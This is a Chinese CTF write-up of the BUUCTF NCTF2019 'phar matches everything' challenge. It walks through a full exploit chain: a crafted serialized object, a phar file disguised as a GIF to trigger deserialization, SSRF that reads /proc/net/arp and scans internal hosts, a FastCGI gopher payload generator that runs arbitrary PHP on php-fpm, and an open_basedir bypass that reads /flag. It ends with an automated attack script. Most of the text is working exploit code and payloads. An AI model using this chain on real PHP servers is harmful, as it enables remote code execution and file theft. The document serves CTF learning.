[PHP知识库]『CTF Web复现』BUUCTF-[NCTF2019]phar matches everything（自动化脚本获取flag）

利用点

• unserialize反序列化
• phar反序列化
• 添加图片头和更改MIME、后缀绕过文件上传检测
• ssrf gopher协议打php-fpm
• 绕过open_basedir

源码

2019NCTF/phar matches everything(github.com)

主要有三个部分：

• index.php：调用上传和查询文件信息的方法
• upload.php：上传文件
• catchmime.php：反序列化验证图片信息

过程分析

unserialize反序列化

来到catchmime.php，很明显是个curl ssrf，要先进入Main类的析构函数

代码审计一下：一个序列化Easytest类对象通过GET参数careful传入catchmime.php，要求其属性test为字符1，然后就能进入ssrf，那就先构造Easytest的反序列化

<?php
	class Easytest{
	    protected $test='1';
	}
	echo '?careful='.urlencode(serialize(new Easytest()));
?>

careful是访问catchmime.php的GET参数

// ?careful=O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D

phar反序列化 + 添加图片头和更改MIME、后缀绕过文件上传检测

现在进入到了Main的析构函数，那如何触发Main类方法cur来ssrf呢？

首先不能缺的就是POST参数submit，留空就行

[POST]submit=

之后就是要验证上传文件，限定是图片，要能获取到图片元数据，先去upload.php看看上传的方法

主要就是合法文件头、MIME和后缀，选一个简单的构造——GIF文件

要如何触发Main类的析构函数是个问题：上文提到，getimagesize是获取传入文件的元数据，如果传入的文件是phar文件，使用phar://协议读取时就会自动反序列化phar的metadata，那传入的phar元数据是序列化的Main类对象，就能进入析构函数了

按要求在本地构造phar文件：

// payload.php
<?php
	@unlink('payload.gif');
	class Main{
	    public $url;
	}
	$main = new Main();
	$main->url = $_GET['payload'];                 // SSRF URL from $_GET
	$phar = new Phar('payload.phar');
	$phar->setStub('GIF89a'.'__HALT_COMPILER();'); // add GIF Header
	$phar->setMetadata($main);                     // auto serialize()
	$phar->addFromString('text.txt','1');          // make sure the constuction of phar file
	
	rename('payload.phar','payload.gif');          // change the suffix   
?>

ssrf gopher协议打php-fpm

常规，首先用file协议读hosts和arp，分别构造phar文件，在本地主机起php，hosts文件里没东西，读arp

[GET]http://localhost/payload.php?payload=file:///proc/net/arp

拿到伪装好的gif文件就向靶机的upload.php上传，记得更改MIME为image/gif，上传后的文件名是md5加密，要记一下

上传好了就去catchmime.php构造ssrf读arp

catchmime.php?careful=O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D
[POST]name=phar://uploads/xxxxxxxxxx.gif&submit=

然后就读取到了arp文件,但是没找到FPM的IP

之后将payload设置成http://10.0.248.x去找FPM服务器，用http访问会有提示，FPM服务器都在10.0.x.6

之后就是结合gopher协议打FPM,使用脚本生成，这个脚本修改过，urllib.quote在py3.x更换为urllib.parse.quote，需要import requests

脚本来源见注释

// gopher.py
import socket
import random
import argparse
import sys
from io import BytesIO
import base64
import urllib
import requests
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])
def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)
def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')
def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s
class FastCGIClient:
    """A Fast-CGI Client for Python"""
    # private
    __FCGI_VERSION = 1
    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3
    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11
    __FCGI_HEADER_SIZE = 8
    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3
    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()
    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True
    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf
    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value
    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header
    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))
        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record
    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return
        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)
        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)
    def gopher(self, nameValuePairs={}, post=''):
        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)
        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
        return request
    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf
        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']
    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
    parser.add_argument('-e', '--ext', help='ext absolute path', default='')
    parser.add_argument('-if', '--include_file', help='evil.php absolute path', default='')
    parser.add_argument('-u', '--url_format', help='generate gopher stream in url format', nargs='?',const=1)
    parser.add_argument('-b', '--base64_format', help='generate gopher stream in base64 format', nargs='?',const=1)
    args = parser.parse_args()
    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(args.code),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    if args.ext and args.include_file:
        #params['PHP_ADMIN_VALUE']='extension = '+args.ext
        params['PHP_ADMIN_VALUE']="extension_dir = /var/www/html\nextension = ant.so"
        params['PHP_VALUE']='auto_prepend_file = '+args.include_file
    if not args.url_format and not args.base64_format :
        response = client.request(params, args.code)
        print(force_text(response))
    else:
        response = client.gopher(params, args.code)
        if args.url_format:
            print(urllib.parse.quote(response))
        if args.base64_format:
            print(base64.b64encode(response))

指定FPM的内网IP、php文件的路径、端口默认9000、运行的php代码、并且要求urlencode

python gopher.py 10.0.248.6 /var/www/html/index.php -p 9000 -c "<?php phpinfo();?>" -u

生成的payload添加gopher://10.0.248.6:9000/_构成完成gopher协议

gopher://10.0.248.6:9000/_%01%01Co%00%08%00%00%00%01%00%00%00%00%00%00%01%04Co%0%DB%00%00%11%0BGATEWAY_INTERFACEFastCGI/1.0%0E%04REQUEST_METHODPOST%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%0C%00QUERY_STRING%0B%17REQUEST_URI/var/www/html/index.php%0D%01DOCUMENT_ROOT/%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP/1.1%0C%10CONTENT_TYPEapplication/text%0E%02CONTENT_LENGTH18%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A/input%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%01%04Co%00%00%00%00%01%05Co%00%12%00%00%3CFphp%20phpinfo%28%29%3B%3F%3E%01%05Co%00%00%00%00

将这个gopher协议生成phar包，之后就读取到了phpinfo()

绕过open_basedir

发现open_basedir限定了范围，接着就是绕过读取根目录结构，将phpinfo()改一下就行，用filesystemiterator，最后发现flag在/flag，用ini_set和mkdir组合读取

改gopher的参数c即可

<?php mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/flag'));?>

自动化脚本获取flag

发现上面的步骤都是重复的，而且环境index加载还会卡，就打算写脚本执行，先上结构。

结构

你需要做的是先起一个web服务器，能够运行php和python脚本，以下目录在http://127.0.0.1:80

1. gopher.py：生成gopher的payload
2. index.php：生成phar文件
3. script.py：脚本主程序

gopher.py

修改过urilib.quote为urllib.parse.quote，并添加导入requests，其余未变

// gopher.py
import socket
import random
import argparse
import sys
from io import BytesIO
import base64
import urllib
import requests
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])
def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)
def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')
def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s
class FastCGIClient:
    """A Fast-CGI Client for Python"""
    # private
    __FCGI_VERSION = 1
    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3
    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11
    __FCGI_HEADER_SIZE = 8
    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3
    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()
    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True
    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf
    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value
    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header
    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))
        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record
    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return
        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)
        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)
    def gopher(self, nameValuePairs={}, post=''):
        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)
        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
        return request
    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf
        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']
    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
    parser.add_argument('-e', '--ext', help='ext absolute path', default='')
    parser.add_argument('-if', '--include_file', help='evil.php absolute path', default='')
    parser.add_argument('-u', '--url_format', help='generate gopher stream in url format', nargs='?',const=1)
    parser.add_argument('-b', '--base64_format', help='generate gopher stream in base64 format', nargs='?',const=1)
    args = parser.parse_args()
    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(args.code),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    if args.ext and args.include_file:
        #params['PHP_ADMIN_VALUE']='extension = '+args.ext
        params['PHP_ADMIN_VALUE']="extension_dir = /var/www/html\nextension = ant.so"
        params['PHP_VALUE']='auto_prepend_file = '+args.include_file
    if not args.url_format and not args.base64_format :
        response = client.request(params, args.code)
        print(force_text(response))
    else:
        response = client.gopher(params, args.code)
        if args.url_format:
            print(urllib.parse.quote(response))
        if args.base64_format:
            print(base64.b64encode(response))

index.php

index用于根据传入的参数生成phar文件

// index.php
<?php
	@unlink('payload.gif');
	class Main{
	    public $url;
	}
	$main = new Main();
	$main->url = $_GET['payload'];
	
	$phar = new Phar('payload.phar');
	$phar->setStub('GIF89a'.'__HALT_COMPILER();');
	$phar->setMetadata($main);
	$phar->addFromString('text.txt','1');
	
	rename('payload.phar','payload.gif');
?>

script.py

编写环境python3.6

from subprocess import getoutput
from time import sleep
import requests
import re

INDEX_URL = 'http://e615e684-9dee-40a7-9ced-f23b14625851.node4.buuoj.cn:81'
GET_PARAM = '?careful=O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D'


def upload() -> str:
    """
    使用requests.post上传文件
    :return:返回在服务器存储的文件名
    """
    # 构造上传form，信息可以抓包查看
    file = {
        'fileToUpload': ('payload.gif', open('payload.gif', 'rb'), 'image/gif', {})
    }
    r = requests.post(INDEX_URL + '/upload.php', files=file)
    ptr = re.compile(r'.{10}\.gif')
    file_name = ptr.findall(r.text)[0]

    return file_name


def read(filename) -> str:
    """
    基于ssrf伪协议读取文件，伪协议存放在伪造gif文件的metadata
    :param filename: 存储在服务器上的伪造gif文件名
    :return:
    """
    data = {
        'name': 'phar://uploads/' + filename,
        'submit': ''
    }
    r = requests.post(INDEX_URL + '/catchmime.php' + GET_PARAM, data=data)
    return r.text


def spawn_phar(payload):
    """
    给定ssrf伪协议伪造gif
    :param payload: ssrf伪协议
    :return: None
    """
    params = {
        'payload': payload
    }
    # 要求index.php放在web主目录下
    requests.get('http://127.0.0.1', params=params)


def get_ip_segment() -> str:
    """
    获取靶机内网IP网络位
    :return: 返回靶机内网IP网络位，格式10.0.x.，省略主机位
    """
    # 通过读取arp文件获取
    spawn_phar('file:///proc/net/arp')
    arp_name = upload()
    arp_info = read(arp_name)
    ptr = re.compile(r'10.0.\d*.\d*')
    ip = ptr.findall(arp_info)[0]
    return ip[:-1]


def get_fpm_ip(segment) -> str:
    """
    遍历获取FPM内网IP
    :param segment: 内网IP网络位
    :return: 返回FPM内网IP
    """
    # 遍历范围
    for i in range(0, 256):
        # 使用http://协议访问
        phar = 'http://' + segment + str(i)
        spawn_phar(phar)
        upload_file_name = upload()
        if 'FPM' in read(upload_file_name):
            return segment + str(i)


def spawn_gopher(ip, fpm_port, code) -> str:
    """
    生成ssrf gopher的payload
    :param ip: fpm的内网ip
    :param fpm_port: 自定义fpm的端口，一般设置是9000
    :param code: 需要运行的完整php代码
    :return: 返回gopher的payload
    """
    cmd = f'python gopher.py {ip} /var/www/html/index.php -p {port} -c "{code}" -u'
    gopher_payload = getoutput(cmd)
    return f'gopher://{ip}:{fpm_port}/_' + gopher_payload


def get_flag(FPM_ip, port):
    """
    一键生成gopher读取flag并显示
    :param FPM_ip: FPM的内网ip
    :param port: 指定的FPM的端口
    :return: None
    """
    gopher = spawn_gopher(FPM_ip, port, "<?php mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/flag'));?>")
    spawn_phar(gopher)
    upload_gopher = upload()
    text = read(upload_gopher)
    ptn = re.compile('flag{.*}')
    flag = ptn.findall(text)[0]
    print(upload_gopher)
    print(f'[+]find flag: {flag}')


if __name__ == '__main__':
    # UI显示优化
    print('[+]start searching...')
    ip_segment = get_ip_segment()
    fpm_ip = get_fpm_ip(ip_segment)
    print(f'[+]find FPM: {fpm_ip}')
    port = input('please input attacking port:')
    get_flag(fpm_ip, port)

运行截图

完

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